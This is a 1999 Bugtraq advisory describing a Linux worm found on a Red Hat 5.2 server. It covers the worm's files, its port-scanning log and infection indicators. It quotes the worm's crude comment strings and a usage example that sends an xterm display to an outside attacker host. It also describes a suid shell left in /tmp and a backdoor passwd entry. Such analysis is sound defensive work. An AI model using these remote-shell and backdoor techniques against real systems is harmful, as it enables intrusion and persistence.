Worm for Linux x86 found in wild
Mar 25, 1999, 23:35 (4 Talkback[s])
"Ben Cantrick (Macky Stingray)" posted to BUGTRAQ:
On the week of 3/7, a polite mail from a system administrator at a
company in Russia tipped me off to one of our Redhat boxes portscanning
one of their subnets. Subsequent investigation found that a worm had
infected the offending box and was attempting to propagate itself.
2. Further info
The worm seems to be a few binaries working together with some
bourne shell scripts. The main file seems to be one called "admw0rm,"
which is a shell script and not a binary.
Identifying strings found in the files include:
# ADM Inet w0rm
# Linux X86 spef.. anyway it's my first w0rm :)
# ver 0.1
# i'm not responsable of the usage of diz w0rm !!!
# greetz: to all blondes with the short hairs who look's good =), the netg
# sistah, all of the handrail's i'll slide, all of the sweden chix i'll fuk ;)
# and The ADM Crew oooooooofffffff course heh
# LIFE IS A BITCH, BE HARDCORE WITH 'EM, DONT FINISH LIKE ME !
# ********************* THE CREW WILL NEVER DIE ***************************
SAY="The ADM Inet w0rm is here !"
--= The ADM CreW =--
%s victim arg0 arg1 ...
ex:sploits www.juergen.ch /usr/X11R6/bin/xterm -display ppp666.hax0r.com:0
The worm is particularly amusing in that when run, along with
portscanning, wiping logs, and all the other usual things you'd expect
a worm to do, it also hunts for files with a .html suffix and inserts the
contents of the "SAY" variable (above) into them, over-writing whatever is
Other infection symptoms include a ".w0rm0r/" subdir and suid root copy
of /bin/sh named ".w0rm" in /tmp, and possibly a
"w0rm::2666:777:ADM Inet w0rm:/:/bin/sh" entry in your passwd file.
As far as I can tell, the worm is capable of detecting several well-known
vunerabilities. The logs the Russian company sent us, and the logs that the
worm itself kept, would seem to indicate it's scanning IMAP ports. It
also seems to be scanning POP, rsh/rlogin, telnet and FTP ports, finger,
Once it's into your system, the worm presumably begins to scan and look
for vunerable machines again. How it picks the IP addresses to scan is not
presently known to me. Presumably, the "gimmieip" binary takes care
of that. Someone with more time can dissect it and post the results.
Here is a file I found on the infected machine called "/tmp/outro" - it
appears to be a log that the worm kept as it probed some system.
Load the config file...
Ftp test: root writable test
scan of XXX.XXX.XXX.XXX [IP obscured to protect the guilty. -Ben]
---- port open ----
port 109 open
port 110 open
port 111 open
port 113 open
port 143 open
port 21 open
port 23 open
port 37 open
port 513 open
port 514 open
port 70 open
port 79 open
FTP IS OPEN! Port: 21
is not a ftpd
TELNET IS OPEN! Port: 23
-- telnet --
Red Hat Linux release 5.2 (Apollo)
Kernel 2.0.36 on an i586
FINGER IS OPEN! Port: 79
finger: .: no such user.
finger: search.**: no such user.
>>> Fingering all userz <<<
[List cut to protect the guilty. -Ben]
>>> Fingering guest account <<<
finger: guest: no such user.
>>> Fingering bbs account <<<
finger: bbs: no such user.
>>> Fingering root account <<<
Login: root Name: root
Directory: /root Shell: /bin/bash
On since Mon Feb 22 08:03 (EST) on tty2 9 seconds idle
PORTMAPPER IS OPEN
proggie verz pr0t0 da port
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
IMAP IS OPEN
the imapd is overflowable !
rlogind is here
rshd is here too
3. Prevention and Disinfection
At first glance, it would appear that this worm would seem to rely on
well-known vunerabilities, particularly buffer overflows of SUID root
daemons. If this is indeed the case, prevention would seem to be as simple
as making sure you have the latest versions of your daemons.
You do keep your daemons up to date, don't you? You do read Bugtraq and
CERT to know which ones are vunerable, don't you? Of course you do! You're
a good system administrator! You stay on top of things like that! You
obviously have *nothing* to worry about.
As far as disinfection, I have not had time to work up a disinfection
procedure. It could be as simple as rebooting to single-user and deleting
all the worm's binaries out of /tmp, where it seems to keep them. On the
other hand, I'm not going to say anything for sure because I haven't
had time to do my homework and properly toy with this thing and figure
out how it works.
4. Where you can get a copy to play with
I hesitate to release an even partly intact or even moderately functional
version of this worm, because I'm sure that the script kiddies will eventually
get their hands on it, no matter how hard I try to filter requests. So, I've
decided to throw it out with no restrictions. I'm releasing as much of the
worm as I have, which I estimate to be about is about 75-90% of the it, to
the wilds of the net via Bugtraq. Call me irresponsible if it makes you
feel better. But I honestly think that the best way to make vendors get off
their asses and repair vunerabilities is to publish them widely so that it's
either fix the holes NOW or get rooted. (I should note at this point that
I found the worm on a Redhat 5.2 box. Are you running Redhat 5.2?)
The files I have can be retrieved at:
This FTP server is on a low-speed line, and there is a 5 user
simultanious limit. Keep trying. I assume someone will mirror the files
to a faster server and announce the location here on Bugtraq for everyone's
[ You can get them here, as well. -lt ed ]
As for me, I'm rather busy at work. This worm is more of an intellectual
curiosity for me than anything else, as it seems to be mostly benign. I'd
appreciate it if nobody would bug me about this any further, please. You
know where to get samples, and after reading this mail you know as much
the worm as I do.
Ben Cantrick, email@example.com
"Pathological techno-fetishist with social deficit" at large.
Net.ronin, philosoph and garbageman.